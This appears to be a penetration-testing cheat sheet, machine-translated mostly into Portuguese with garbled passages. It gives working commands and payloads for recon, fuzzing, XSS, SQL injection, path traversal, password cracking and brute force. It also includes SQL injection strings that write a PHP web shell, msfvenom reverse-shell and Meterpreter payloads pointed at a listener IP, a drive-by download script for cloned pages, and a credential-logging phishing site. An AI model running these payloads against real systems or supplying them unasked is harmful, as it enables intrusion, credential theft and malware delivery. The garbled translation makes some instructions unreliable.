nmap -nv --script='ssl-heartbleed' -iL cidrs.txt
Você pode encontrar rockyou.txt e subdomains-top1mil.txt wordLists em seclists.
Prefiro usar núcleos para varredura de vulnerabilidades.
Instalação:
apt-get update && apt-get -y install testssl.shTeste um certificado SSL/TLS (por exemplo, cifras SSL/TLS, protocolos, etc.):
testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com
Você também pode usar o TestSSL.sh para explorar vulnerabilidades SSL/TLS.
Teste um servidor da Web quanto a vulnerabilidade ardente:
for subdomain in $( cat subdomains_live.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} :443 " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txt
# omit the URL scheme
for subdomain in $( cat subdomains_live_short_https.txt ) ; do res= $( echo " Q " | openssl s_client -connect " ${subdomain} " 2>&1 | grep ' server extension "heartbeat" (id=15) ' ) ; if [[ ! -z $res ]] ; then echo " ${subdomain} " ; fi ; done | tee openssl_heartbleed_results.txtCertificado SSL/TLS da Grab:
keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt
openssl x509 -noout -text -in keytool_results.txt
Use descubra o Shodan e o Censys SSL/TLS Dorks para encontrar mais hosts no escopo.
Sempre experimente o login de sessão nula, ou seja, nenhum login de senha ou pesquise na Internet por credenciais padrão para um aplicativo da web específico.
Tente manipular cookies ou tokens JWT para obter acesso ou elevar privilégios. Na logout, sempre verifique se algum dos cookies ou tokens JWT ainda é válido.
Sempre inspecione o armazenamento local do navegador da web, especialmente se testar um aplicativo de uma página (SPA).
Tente transformar, por exemplo, uma solicitação de postagem HTTP em uma solicitação HTTP GET, ou seja, em uma sequência de consultas e veja como um servidor reagirá a ela.
Desligue o JavaScript no seu navegador da web e verifique o comportamento do aplicativo da Web novamente.
Verifique o comportamento do aplicativo da Web em um dispositivo móvel, pois alguns recursos podem funcionar de maneira diferente. Tente falsificar seu agente de usuário ou tente visitar m.somesite.com .
Se você deseja automatizar seu teste de injeção de código, verifique a subseção WordLists para obter listas de palavras de injeção de código. Algumas das listas de palavras também incluem injeções de código ofuscado.
Se você vir quaisquer quantidades ou quantidades, tente usar Danielmiessler/Seclists/Tree/Master/Fuzzing/Months WordList, pois isso pode causar comportamento não intencional, erros ou até ignorar os limites mínimo e máximo.
Não se esqueça de limpar depois de si mesmo. Remova todos os artefatos criados, incl. malware, explorações, ferramentas, scripts, etc., e reverta todas as configurações e alterações de um host de destino após o término do teste.
Usado ao tentar explorar um redirecionamento aberto, script cegão cegado (XSS), interações DNS e HTTP, etc.
Reúna o máximo de informações possível para um destino especificado, consulte como em 1. Reconnaissance.
Reúna nomes de organizações com Whois e nomes canônicos com host.
Você pode verificar se os domínios/subdomínios estão mortos com DIG ou Alive e Httpx.
Verifique se os provedores de hospedagem para obter os domínios/subdomínios encontrados são vulneráveis à aquisição de domínio/subdomínio em Edoverflow/Can-i-Take-over-xyz. Créditos para o autor!
Maiores provedores de serviços em nuvem:
Instalação:
go install -v github.com/lukasikic/subzy@latest
Verifique se há aquisição de domínios/subdomínios:
subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt
Instalação:
go install -v github.com/haccer/subjack@latestVerifique se há aquisição de domínios/subdomínios:
subjack -v -o subjack_results.json -t 100 -timeout 3 -a -m -w subdomains_errors.txt
Descubra como ignorar os códigos de status de resposta HTTP 4xx em Ivan-Sincek/proibido.
Digitalize um servidor da web:
nikto -output nikto_results.txt -h somesite.com -p 80
Digitalize um site do WordPress:
wpscan -o wpscan_results.txt --url somesite.com
Instalação e atualização:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -up && nuclei -utVulnerabilidade Scan, todos os modelos:
nuclei -c 500 -o nuclei_results.txt -l subdomains_live_long_2xx_4xx.txt
cat nuclei_results.txt | grep -Po ' (?<=] ).+ ' | sort -uf > nuclei_sorted_results.txtApenas aquisição do subdomínio:
nuclei -c 500 -t takeovers -o nuclei_takeover_results.txt -l subdomains_live.txt
Descubra parâmetros de solicitação:
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -u https://somesite.com
arjun --stable -oT arjun_results.txt -oJ arjun_results.json -T 3 -t 5 --passive -m GET -i subdomains_live_long_2xx.txt
Diretórios Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u https://somesite.com/WFUZZ -w directory-list-lowercase-2.3-medium.txt
Valores dos parâmetros fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "someparam=WFUZZ" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"someparam": "WFUZZ"}" -w somewordlist.txt
Parâmetros Fuzz:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/x-www-form-urlencoded" -u "https://somesite.com/someapi" -d "WFUZZ=somevalue" -w somewordlist.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X POST -H "Content-Type: application/json" -u "https://somesite.com/someapi" -d "{"WFUZZ": "somevalue"}" -w somewordlist.txt
Exemplo adicional, Fuzzing SSRF interno:
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=127.0.0.1:WFUZZ" -w ports.txt
wfuzz -t 30 -f wfuzz_results.txt --hc 404,405 -X GET -u "https://somesite.com/someapi?url=WFUZZ:80" -w ips.txt
| Opção | Descrição |
|---|---|
| -f | Armazenar resultados no arquivo de saída |
| -t | Especifique o número de conexões simultâneas (10 padrão) |
| -s | Especifique o atraso de tempo entre as solicitações (0 padrão) |
| -u | Especifique um URL para o pedido |
| -c | Especifique um arquivo WordList |
| -X | Especifique um método HTTP para a solicitação, ou seja, cabeça ou fuzz |
| -b | Especifique um cookie para os pedidos |
| -d | Use dados de postagem |
| -H | Use cabeçalho |
| --hc/-hl/-hw/-hh | Ocultar respostas com o código/linhas/palavras/chars especificados |
| --SC/-SL/-SW/-SH | Mostrar respostas com o código/linhas/palavras/chars especificados |
| --ss/-hs | Mostrar/ocultar respostas com o regex especificado dentro do conteúdo |
Primeiro, tente simplesmente mudar um valor para outro, por exemplo, altere [email protected] para [email protected] , altere algum ID de 1 para 2 , etc.
É provável que os IDs de números mais baixos se relacionem com algumas contas ou funções de privilégio mais alto.
Segundo, tente a poluição do parâmetro:
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":"[email protected],[email protected]"
"email":"[email protected] [email protected]"
"email":"[email protected]","email":"[email protected]"
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
"email":("[email protected]","[email protected]")
"email":["[email protected]","[email protected]"]
"email":{"[email protected]","[email protected]"}
email=hacker%40gmail.com,victim%40gmail.com
email=hacker%40gmail.com%20victim%40gmail.com
email=hacker%40gmail.com&email=victim%40gmail.com
email[]=hacker%40gmail.com&email[]=victim%40gmail.com
email=victim%40gmail.com,hacker%40gmail.com
email=victim%40gmail.com%20hacker%40gmail.com
email=victim%40gmail.com&email=hacker%40gmail.com
email[]=victim%40gmail.com&email[]=hacker%40gmail.com
Para gerar a saída acima, execute idor.py:
python3 idor.py -n email -i [email protected] -t [email protected]
Também conhecido como injeção de CRLF. CRLF refere -se ao retorno do carro ( ASCII 13 , r ) e alimentação de linha ( ASCII 10 , n ).
Quando codificado, r refere -se a %0D e n refere -se a %0A .
Fixar um cookie de sessão:
somesite.com/redirect.asp?origin=somesite.com%0D%0ASet-Cookie:%20ASPSESSION=123456789
Redirecionamento aberto:
somesite.com/home.php?marketing=winter%0D%0ALocation:%20https%3A%2F%2Fgithub.com
A fixação da sessão e o redirecionamento aberto são uma das muitas técnicas usadas em combinação com a divisão da resposta HTTP. Pesquise na Internet por mais técnicas.
Cargas úteis simples de scripts cross sites (XSS):
< script > alert ( 1 ) </ script >
< script src =" https://myserver.com/xss.js " > </ script >
< img src =" https://github.com/favicon.ico " onload =" alert(1) " > A hospedagem de JavaScript no Pastebin não funciona porque o Pastebin sempre retorna text/plain .
Saiba mais sobre ataques refletidos e armazenados de scripts cross-sites (XSS), bem como ataques de falsificação de solicitação entre sites (XSRF/CSRF) em Ivan-Sincek/XSS-Catcher.
E -mails válidos com XSS incorporado:
user+( < script > alert ( 1 ) </ script > )@somedomain.com
user@somedomain( < script > alert ( 1 ) </ script > ).com
" < script > alert ( 1 ) </ script > "@somedomain.comAs seguintes cargas úteis foram testadas no banco de dados MySQL. Observe que o MySQL requer um personagem de espaço em branco entre o símbolo do comentário e o próximo personagem.
Se você precisar codificar o caractere de espaço em branco, use %20 ou + em vez disso.
Tente produzir erros de banco de dados, injetando uma citação única, back-slash, dupla-hifen, slash para frente ou período.
Sempre certifique -se de fechar corretamente o código circundante.
Leia este artigo da OWASP para aprender a ignorar o WAF.
SQLI baseado em booleano:
' OR 1=1--
' OR 1=2--
SQLI baseado no sindicato:
' UNION SELECT 1,2,3,4--
' UNION SELECT NULL,NULL,NULL,NULL--
' UNION SELECT 1,concat_ws('|',database(),current_user(),version()),3,4--
' UNION SELECT 1,concat_ws('|',table_schema,table_name,column_name,data_type,character_maximum_length),3,4 FROM information_schema.columns--
' UNION SELECT 1,load_file('..\..\apache\conf\httpd.conf'),3,4--
Se estiver usando, por exemplo, 1,2,3,4 não funcionar, tente usar NULL,NULL,NULL,NULL respectivamente.
Use o SQLI baseado em união somente quando puder usar o mesmo canal de comunicação para iniciar o ataque e coletar resultados.
O objetivo é determinar o número exato de colunas na consulta SQL e descobrir quais delas são mostradas de volta ao usuário.
Outra maneira de determinar o número exato de colunas é usando, por exemplo, ' ORDER BY 1-- , onde 1 é o número da coluna usado para classificar- incrementando-o por um em cada tentativa.
SQLI baseado no tempo:
' AND (SELECT 1 FROM (SELECT sleep(2)) test)--
' AND (SELECT 1 FROM (SELECT CASE user() WHEN '[email protected]' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT 1 FROM (SELECT CASE substring(current_user(),1,1) WHEN 'r' THEN sleep(2) ELSE sleep(0) END) test)--
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN sleep(2) ELSE sleep(0) END FROM users WHERE id = 1)--
' AND IF(version() LIKE '5%',sleep(2),sleep(0))--
Use o SQLI baseado em tempo quando não conseguir ver os resultados.
Verifique a existência/correção:
' AND (SELECT 'exists' FROM users) = 'exists
' AND (SELECT 'exists' FROM users WHERE username = 'administrator') = 'exists
' AND (SELECT 'correct' FROM users WHERE username = 'administrator' AND length(password) < 8 ) = 'correct
' AND (SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE 'correct' END FROM users WHERE username = 'administrator') = 'correct
'||(SELECT CASE substring(password,1,1) WHEN '$' THEN to_char(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'
Injete um shell da Web PHP simples com base na solicitação GET HTTP:
' UNION SELECT '', '', '', '<?php if(isset($_GET["command"])){echo shell_exec($_GET["command"]);} ?>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
' UNION SELECT '', '', '', '<?php $p="command";$o=null;if(isset($_SERVER["REQUEST_METHOD"])&&strtolower($_SERVER["REQUEST_METHOD"])==="get"&&isset($_GET[$p])&&($_GET[$p]=trim($_GET[$p]))&&strlen($_GET[$p])>0){$o=@shell_exec("($_GET[$p]) 2>&1");if($o===false){$o="ERROR: The function might be disabled.";}else{$o=str_replace("<","<",$o);$o=str_replace(">",">",$o);}} ?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Simple PHP Web Shell</title><meta name="author" content="Ivan Šincek"><meta name="viewport" content="width=device-width, initial-scale=1.0"></head><body><pre><?php echo $o;unset($o);unset($_GET[$p]); ?></pre></body></html>' INTO DUMPFILE '..\..\htdocs\backdoor.php'--
Para injetar com êxito um shell da Web, o usuário atual do banco de dados deve ter uma permissão de gravação.
Injete o código SQL nos parâmetros de solicitação:
sqlmap -a -u somesite.com/index.php?username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test
sqlmap -a -u somesite.com/index.php --data username=test&password=test -p password
| Opção | Descrição |
|---|---|
| -u | URL alvo |
| -H | Cabeçalho HTTP extra |
| --dados | String de dados a ser enviada através da postagem |
| -Cookie | Valor do cabeçalho de biscoito HTTP |
| --proxy | Use um proxy para se conectar ao URL de destino ([protocolo: //] host [: porta]) |
| -p | Parâmetros testáveis (s) |
| --nível | Nível de testes a serem executados (1-5, padrão: 1) |
| --risco | Risco de testes para executar (1-3, padrão: 1) |
| -um | Recuperar tudo |
| -b | Recupere o banner DBMS |
| --dump-tudo | Despejar todas as entradas de tabelas de bancos de dados DBMS |
| --os-shell | Prompt para um shell interativo do sistema operacional |
| --os-pwn | Prompt para um shell OOB, medidor ou VNC |
| --sqlmap-shell | Prompt para um shell interativo SQLMAP |
| --mago | Interface do assistente simples para usuários iniciantes |
| --dbms | Pendência. |
Atravesse um caminho (por exemplo, somesite.com/../../../etc/passwd ):
dotdotpwn -q -m http -S -o windows -f /windows/win.ini -k mci -h somesite.com
dotdotpwn -q -m http -o unix -f /etc/passwd -k root -h somesite.com
dotdotpwn -q -m http-url -o unix -f /etc/hosts -k localhost -u 'https://somesite.com/index.php?file=TRAVERSAL'
Tente prender um protocolo como file:// , gopher:// , dict:// , php:// , jar:// , ftp:// , tftp:// etc., no caminho do arquivo; por exemplo, file://TRAVERSAL .
Verifique algumas dicas de travessia de diretório adicionais no SwisskyRepo/PayloadSallThethings. Créditos para o autor!
| Opção | Descrição |
|---|---|
| -m | Módulo (http, http-url, ftp, carga útil tftp, stdout) |
| -h | Nome do host |
| -O | Detecção de sistema operacional para fuzzing inteligente (NMAP) |
| -o | Tipo de sistema operacional Se conhecido ("Windows", "Unix" ou "Genérico") |
| -d | Profundidade de Traversals (Padrão: 6) |
| -f | Nome de arquivo específico (padrão: de acordo com o SO detectado) |
| -S | Use SSL para http e módulo de carga útil (não é necessário para HTTP-URL) |
| -u | URL com a parte a ser confusa marcada como travessia |
| -k | Padrão de texto para corresponder na resposta |
| -p | Nome do arquivo com a carga útil a ser enviada e a parte a ser confusa marcada com a palavra -chave travessia |
| -x | Porta a se conectar (padrão: http = 80; ftp = 21; tftp = 69) |
| -U | Nome de usuário (padrão: 'Anonymous') |
| -P | Senha (padrão: 'Dot (at) dot.pwn') |
| -M | Método HTTP a ser usado ao usar o módulo 'HTTP' (Get, Post, Head, Copiar, Mover, Padrão: Get) |
| -b | Quebrar após a primeira vulnerabilidade ser encontrada |
| -C | Continue se nenhum dado foi recebido do host |
Saiba mais sobre conchas PHP em Ivan-Sincek/Php-Reverse-Shell.
Saiba mais sobre conchas Java/JSP em Ivan-Sincek/Java-Reverse-TCP.
Descubra como gerar uma carga útil de shell reversa para Python e envie-a para a máquina de destino em Ivan-Sincek/Send-TCP-Payload.
Para gerar uma Base64 encoded payload , use um dos seguintes comandos do MSFVENOM, modifique -os com sua necessidade:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff | base64 -w 0 > payload.txt
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw | base64 -w 0 > payload.txt
Para gerar um binary file , use um dos seguintes comandos do MSFVENOM, modifique -os com sua necessidade:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -b x00x0ax0dxff -o payload.bin
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f raw -o payload.bin
Para gerar um DLL file , use um dos seguintes comandos MSFVenom, modifique -os com sua necessidade:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f dll -b x00x0ax0dxff -o payload.dll
Para gerar um standalone executable , use um dos seguintes comandos do MSFVENOM, modifique -os com sua necessidade:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -b x00x0ax0dxff -o payload.exe
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f exe -o payload.exe
Para gerar um MSI file , use um dos seguintes comandos do MSFVENOM, modifique -os com sua necessidade:
msfvenom --platform windows -a x86 -e x86/call4_dword_xor -p windows/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
msfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.5 LPORT=9000 EXITFUNC=thread -f msi -b x00x0ax0dxff -o payload.msi
O ByteCode pode não funcionar na primeira tentativa devido a outros personagens ruins. Tentativa e erro é a chave.
Até agora, não há uma maneira fácil de gerar um arquivo DLL nem MSI com um shell de medidor sem estagiário devido aos problemas de tamanho.
Para gerar um comando PowerShell codificado a partir de um script PowerShell, execute o seguinte comando PowerShell:
[ Convert ]::ToBase64String([ Text.Encoding ]::Unicode.GetBytes([ IO.File ]::ReadAllText( $script )))Para executar o comando PowerShell codificado, execute o seguinte comando de PowerShell ou prompt de comando:
PowerShell - ExecutionPolicy Unrestricted - NoProfile - EncodedCommand $commandPara decodificar um comando PowerShell codificado, execute o seguinte comando PowerShell:
[ Text.Encoding ]::Unicode.GetString([ Convert ]::FromBase64String( $command ))Descubra mais sobre o PowerShell reverte e vinculem conchas TCP em Ivan-Sincek/Powershell-Reverse-TCP.
Google um hash antes de tentar quebrá -lo, porque você pode economizar muito tempo e problemas.
Use Google Dorks, Chad ou FOCA para encontrar e baixar arquivos e, nos metadados dos arquivos, nomes de usuário de domínio para força bruta.
Lembre -se de que você pode bloquear as contas das pessoas.
Alguns formulários da Web têm Captcha Challenge e/ou token de envio oculto, o que pode impedi -lo de forçar bruto. Se for esse o caso, tente enviar uma solicitação sem o Captcha Challenge Responder e o token de envio.
Você pode encontrar um monte de listas de palavras úteis em secções.
Gerar uma lista de palavras com baixo alfa-numérica:
crunch 4 6 -f /usr/share/crunch/charset.lst lalpha-numeric -o crunch_wordlist.txt
Consulte a lista de todos os charsets disponíveis ou adicione o seu próprio em charset.lst localizado em /usr/share/crunch/ diretório.
Gerar todas as permutações possíveis a partir de palavras:
crunch -o crunch_wordlist.txt -p admin 123 !"
crunch -o crunch_wordlist.txt -q words.txt
Gerar todas as combinações possíveis de um charset:
crunch 4 6 -o crunch_wordlist.txt -p admin123!"
| Opção | Descrição |
|---|---|
| -d | Limita o número de caracteres consecutivos |
| -f | Especifica um conjunto de caracteres de um arquivo |
| -eu | Inverte a saída |
| -l | Quando você usa a opção -t, essa opção informa ao Crunch quais símbolos devem ser tratados como literais |
| -o | Especifica o arquivo para escrever a saída para |
| -p | Diz ao Crunch para gerar/permutar palavras que não tenham caracteres repetidos |
| -q | Diz a Crunch para ler um arquivo e permite o que é lido |
| -r | Diz a Crunch para retomar gerar palavras de onde ele parou, -r só funciona se você usar -o |
| -s | Especifica uma string de partida |
| -t | Especifica um padrão |
| Espaço reservado | Descrição |
|---|---|
| @ | Caracteres minúsculos |
| , Assim, | Caracteres da caixa superior |
| % | Números |
| ^ | Símbolos |
Infelizmente, não há espaço reservado que varia de minúsculo alfa a símbolos.
Gerar todas as combinações possíveis de um espaço reservado:
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^
crunch 10 10 -o crunch_wordlist.txt -t admin%%%^^ -d 2% -d 1^
crunch 10 10 + + 123456 !" -o crunch_wordlist.txt -t admin@@%^^
crunch 10 10 -o crunch_wordlist.txt -t @dmin@@%^^ -l @aaaaaaaaa
Para identificar um tipo de hash, execute a seguinte ferramenta:
hash-identifier
Hashes MD5 de força bruta:
hashcat -m 0 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Força Bruta Netntlmv1 Hashes:
hashcat -m 5500 -a 3 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt
Use --session=<session_name> para salvar e continue seu progresso em rachaduras posteriormente usando --restore .
Continue rachando o progresso:
hashcat --session=cracking --restore
| Opção | Descrição |
|---|---|
| -m | Hash-Type, veja referências abaixo |
| -um | Modo de ataque, veja referências abaixo |
| --vigor | Ignorar avisos |
| -Runtime | Abortar sessão após x segundos de tempo de execução |
| --status | Ativar atualização automática da tela de status |
| -o | Defina o pulo para o hash recuperado |
| --mostrar | Mostrar senhas rachadas encontradas no Potfile |
| --sessão | Defina o nome de sessão específico |
| --restaurar | Restaurar sessão de -sessão |
| --Restore-File-Path | Caminho específico para restaurar o arquivo |
| -O | Ativar núcleos otimizados (comprimento da senha limites) |
| -1 | Charset definido pelo usuário? 1 |
| -2 | Chartset definido pelo usuário? 2 |
| -3 | Charset definido pelo usuário? 3 |
| -4 | Charset definido pelo usuário? 4 |
Ao especificar um charset definido pelo usuário, escapar ? com outro ? (ou seja, use ?? em vez de ? ).
| Tipo de hash | Descrição |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1700 | SHA512 |
| 200 | MySQL323 |
| 300 | Mysql4.1/mysql5 |
| 1000 | Ntlm |
| 5500 | Netntlmv1-vanilla / netntlmv1-com |
| 5600 | Netntlmv2 |
| 2500 | WPA/WPA2 |
| 16800 | WPA-PMKID-PBKDF2 |
| 16500 | JWT (JSON Web Token) |
Para mais tipos de hash, leia o manual.
| Modo de ataque | Nome |
|---|---|
| 0 | Direto |
| 1 | Combinação |
| 3 | Força bruta |
| 6 | Lista de palavras híbridas + máscara |
| 7 | Máscara híbrida + WordList |
| 9 | Associação |
| CHARST | Descrição |
|---|---|
| ? l | abcdefghijklmnopqrstuvwxyz |
| ? u | Abcdefghijklmnopqrstuvwxyz |
| ? d | 0123456789 |
| ? s | ! "#$%& '()*+,-./:; <=>?@[]^_` {|} ~ |
| ?um | ? L? U? D? S. |
| ? b | 0x00 - 0xFF |
Ataque de dicionário:
hashcat -m 100 -a 0 --session=cracking --force --status -O B1B3773A05C0ED0176787A4F1574FF0075F7521E rockyou.txt
hashcat -m 5600 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
Você pode encontrar rockyou.txt wordlist em seclists.
Força Bruta A Hash usando um espaço reservado:
hashcat -m 0 -a 3 --session=cracking --force --status -O cc158fa2f16206c8bd2c750002536211 -1 ?l?u -2 ?d?s ?1?l?l?l?l?l?2?2
hashcat -m 0 -a 3 --session=cracking --force --status -O 85fb9a30572c42b19f36d215722e1780 -1 !"#$%&/()=??* -2 ?d?1 ?u?l?l?l?l?2?2?2
Ataque de dicionário:
hashcat -m 16500 -a 3 --session=cracking --force --status -O eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSm9obiBEb2UifQ.xuEv8qrfXu424LZk8bVgr9MQJUIrp1rHcPyZw_KSsds
Você também pode verificar minha ferramenta de cracking JWT em Ivan-Sincek/JWT-BF.
Prefiro usar o Burp Suite para formar formulários de força bruta e a Hydra para outros serviços.
Ataque de dicionário a um formulário da web de login de post http:
hydra -o hydra_results.txt -l admin -P rockyou.txt somesite.com http-post-form '/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed!'
Quando o Brute forçando um formulário da Web de login, você deve especificar Login=Login:<expected_message> a distinguir entre as tentativas de login bem -sucedidas e com falha. Altere os nomes dos parâmetros de nome username e password , conforme necessário.
Ataque de dicionário a um login de shell seguro (SSH):
hydra -o hydra_results.txt -L users.txt -P rockyou.txt 192.168.8.5 ssh
Você pode encontrar um monte de listas de palavras úteis em secções.
| Opção | Descrição |
|---|---|
| -R | Restaurar uma sessão abortada/travada anterior |
| -S | Execute um SSL Connect |
| -O | Use Old SSL V2 e V3 |
| -s | Se o serviço estiver em uma porta padrão diferente, defina aqui |
| -l | Faça login com um nome de login |
| -L | Carregue vários logins de um arquivo |
| -p | Faça login com uma senha |
| -P | Carregue várias senhas de um arquivo |
| -x | Senha Brute Force Generation (Min: Max: Charset), digite "-x -h" para obter ajuda |
| -y | Desativar o uso de símbolos no Bruteforce |
| -e | Tente senha "n" nula "s" S "Login como Pass e/ou" R "Login revertido |
| -o | Escreva pares de login/senha encontrados em um arquivo em vez de stdout |
| -f/-f | Saia quando um par de login/passagem for encontrado (-f por host, -f global) |
| -M | Lista de servidores para atacar, uma entrada por linha, ':' para especificar a porta |
| Serviços suportados |
|---|
| FTP [s] |
| http [s]-{get | post} -form |
| mysql |
| SMB |
| SMTP [s] |
| SNMP |
| ssh |
| telnet [s] |
| vnc |
For more supported services read the manual.
| Brute Force Syntax | Descrição |
|---|---|
| Min | Minimum number of characters in the password |
| Máx | Maximum number of characters in the password |
| CHARSET | Charset values are: "a" for lowercase letters, "A" for uppercase letters, "1" for numbers, and for all others, just add their real representation |
Brute force attack on FTP:
hydra -o hydra_results.txt -l admin -x 4:4:aA1!"#$% 192.168.8.5 ftp
After you have collected enough usernames from the reconnaissance phase, it is time to try and brute force some of them.
Find out how to generate a good password spraying wordlist at ivan-sincek/wordlist-extender, but first you will need a few good keywords that describe your target.
Such keywords can include a company name, abbreviations, or words that describe the company's services, products, etc.
After you generated the wordlist, use it with tools such as Hydra, Burp Suite Intruder, etc., to brute force login web forms. Hydra can attack authentication mechanisms for all kinds of services and ports.
If strong password policy is enforced, lazy passwords usually start with one capitalized word followed by a few digits and one special character at the end (eg, Password123!).
You can also use the generated wordlist with hashcat, eg, to crack NTLMv2 hashes that you have collected using LLMNR responder during a network penetration testing, etc.
Find out how to embed a PowerShell script into an MS Word document at ivan-sincek/powershell-reverse-tcp.
To force users to download a malicious file, copy and paste this JavaScript code block on any cloned web page:
function download ( url , type , name , method ) {
var req = new XMLHttpRequest ( ) ;
req . open ( method , url , true ) ;
req . responseType = 'blob' ;
req . onload = function ( ) {
var blob = new Blob ( [ req . response ] , { type : type } )
var isIE = false || ! ! document . documentMode ;
if ( isIE ) {
// IE doesn't allow using a blob object directly as link
// instead it is necessary to use msSaveOrOpenBlob()
if ( window . navigator && window . navigator . msSaveOrOpenBlob ) {
window . navigator . msSaveOrOpenBlob ( blob , name ) ;
}
} else {
var anchor = document . createElement ( 'a' ) ;
anchor . href = window . URL . createObjectURL ( blob ) ;
anchor . download = name ;
anchor . click ( ) ;
// in Firefox it is necessary to delay revoking the ObjectURL
setTimeout ( function ( ) {
window . URL . revokeObjectURL ( anchor ) ;
anchor . remove ( ) ;
} , 250 ) ;
}
} ;
req . send ( ) ;
}
// specify your file here, use only an absolute URL
download ( 'http://localhost/files/pentest.pdf' , 'application/pdf' , 'pentest.pdf' , 'GET' ) ;
// download('http://localhost/files/pentest.docx', 'plain/txt', 'pentest.docx', 'GET');To try it out, copy all the content from social_engineeringdriveby_download to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
To try it out, copy all the content from social_engineeringphishing_website to your server's web root directory (eg, to xampphtdocs on XAMPP), and navigate to the web page with your preferred web browser.
Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| Opção | Descrição |
|---|---|
